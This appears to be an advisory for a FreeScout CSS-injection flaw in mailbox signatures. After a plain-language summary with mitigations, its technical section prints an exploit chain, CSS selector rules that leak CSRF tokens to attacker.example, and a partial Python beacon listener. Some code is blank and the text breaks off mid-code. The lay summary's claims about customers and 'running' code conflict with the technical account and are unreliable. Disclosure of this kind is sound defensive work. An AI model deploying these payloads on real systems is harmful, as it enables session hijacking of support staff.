FreeScout's stripDangerousTags() omits <style> sanitization, allowing CSS attribute-selector exfiltration of CSRF tokens from any agent viewing an attacker-controlled mailbox.
FreeScout is a popular free software that companies use to manage customer support emails and shared mailboxes. Think of it like Gmail, but self-hosted on your own servers instead of trusting Google with your data.
Security researchers discovered that FreeScout has a hole in how it cleans up signatures. When employees add a signature to their emails, the software is supposed to strip out dangerous code that could harm users. But it misses one particular type of dangerous code: style tags, which let attackers hide malicious instructions inside what looks like harmless formatting.
Here's where it gets serious. An employee or someone with access to mailbox settings can sneak malicious code into their signature. When customers read emails with that signature, the hidden code can run silently in the background. If the company's security settings are too loose (which many are), this code could take over the account, steal information, or impersonate the employee.
Who should worry? If you run a company using FreeScout for support, or if you're a FreeScout user who accepts outside help with your mailbox, this affects you. The attacker has to already be inside your system somewhat, but that's actually a common scenario when contractors or temporary staff have access.
The good news is that this hasn't been actively used in attacks yet. Here's what to do:
First, update FreeScout immediately to version 1.8.213 or later when your developer releases it. Check your FreeScout dashboard regularly for updates.
Second, limit who can access mailbox settings. Only give these permissions to people you completely trust.
Third, review your Content Security Policy settings in FreeScout if you understand them, or ask your IT person to tighten the security rules around what code can run.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2026-40497
Vulnerability Overview
CVE-2026-40497 is a stored CSS injection vulnerability in FreeScout (all versions prior to 1.8.213) that allows any principal with mailbox settings access — admin or agent with mailbox permission — to exfiltrate the CSRF token of any user who views a conversation in that mailbox. CVSS 8.1 HIGH. No JavaScript required. No user interaction beyond normal inbox activity.
The attack surface is the mailbox signature field, persisted via POST /mailbox/settings/{id} and rendered unescaped into every conversation view. The missing sanitization of <style> tags, combined with a permissive style-src * 'self' 'unsafe-inline' CSP, makes inline CSS execute without restriction. CSS attribute selectors targeting the hidden CSRF <input> then beacon the token value character-by-character to an attacker-controlled server.
Root cause:Helper::stripDangerousTags() explicitly removes <script>, <form>, <iframe>, and <object> but never strips <style>, and the signature is rendered via {!! ... !!} (raw, unescaped Blade output) into pages whose CSP permits unsafe-inline styles.
Affected Component
Three components interact to produce exploitability:
App\Misc\Helper::stripDangerousTags() — input sanitization for rich-text fields
App\Mailbox::getSignatureProcessed() — retrieves and post-processes the stored signature
Blade view rendering via {!! $conversation->getSignatureProcessed([], true) !!} in resources/views/conversations/view.blade.php
Root Cause Analysis
The sanitizer maintains an explicit blocklist of dangerous tags. The omission of style from that list is the singular root cause.
// App/Misc/Helper.php (pre-patch)
public static function stripDangerousTags(string $html): string
{
// BUG: survives intact
}
The processed signature then flows directly into the Blade template with raw output syntax:
style-src * 'unsafe-inline' means injected inline <style> blocks execute unconditionally, and CSS url() values may reference arbitrary external origins.
Exploitation Mechanics
CSS attribute selector exfiltration against CSRF tokens is a well-documented technique (cf. Wykradanie danych w pure CSS, Terjanq 2019). It exploits the browser's willingness to fetch background-image: url() values when a selector matches. Because CSRF tokens are static per-session, a full token can be harvested across multiple page loads — one character per request.
EXPLOIT CHAIN:
1. Attacker (agent/admin) navigates to:
POST /mailbox/settings/{mailbox_id}
Body: signature=
2. Payload injected into DB as mailbox signature (raw HTML stored).
3. Victim (admin/agent) opens any conversation in that mailbox.
Browser loads: GET /conversation/{id}
Server renders:
{!! $conversation->getSignatureProcessed([], true) !!}
→ raw
On Chromium 124+ with :has() support, a single-shot selector tree can exfiltrate the entire token in one page load:
/* One-shot using :has() — single page load, full token */
html:has(input[name="_token"][value^="aA"]) {
background-image: url("https://attacker.example/t?v=aA");
}
html:has(input[name="_token"][value^="aB"]) {
background-image: url("https://attacker.example/t?v=aB");
}
/* ... 62^2 rules cover all 2-char prefixes, then recurse ... */
Automation via a small listener:
# attacker_server.py — reconstruct token from CSS beacon requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import re
known_prefix = ""
CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-"
TOKEN_LEN = 40
class BeaconHandler(BaseHTTPRequestHandler):
def do_GET(self):
global known_prefix
qs = parse_qs(urlparse(self.path).query)
if "p" in qs:
candidate = qs["p"][0]
# Accept longest prefix seen so far
if candidate.startswith(known_prefix) and len(candidate) > len(known_prefix):
known_prefix = candidate
print(f"[+] Token prefix: {known_prefix!r} ({len(known_prefix)}/{TOKEN_LEN})")
if len(known_prefix) == TOKEN_LEN:
print(f"[!] FULL TOKEN: {known_prefix}")
else:
regenerate_payload(known_prefix) # push next ruleset to mailbox
self.send_response(200)
self.end_headers()
def regenerate_payload(prefix: str) -> str:
rules = []
for ch in CHARSET:
candidate = prefix + ch
rules.append(
f'input[name="_token"][value^="{candidate}"]'
f'{{background-image:url("https://attacker.example/leak?p={candidate}")}}'
)
# POST new signature to FreeScout with updated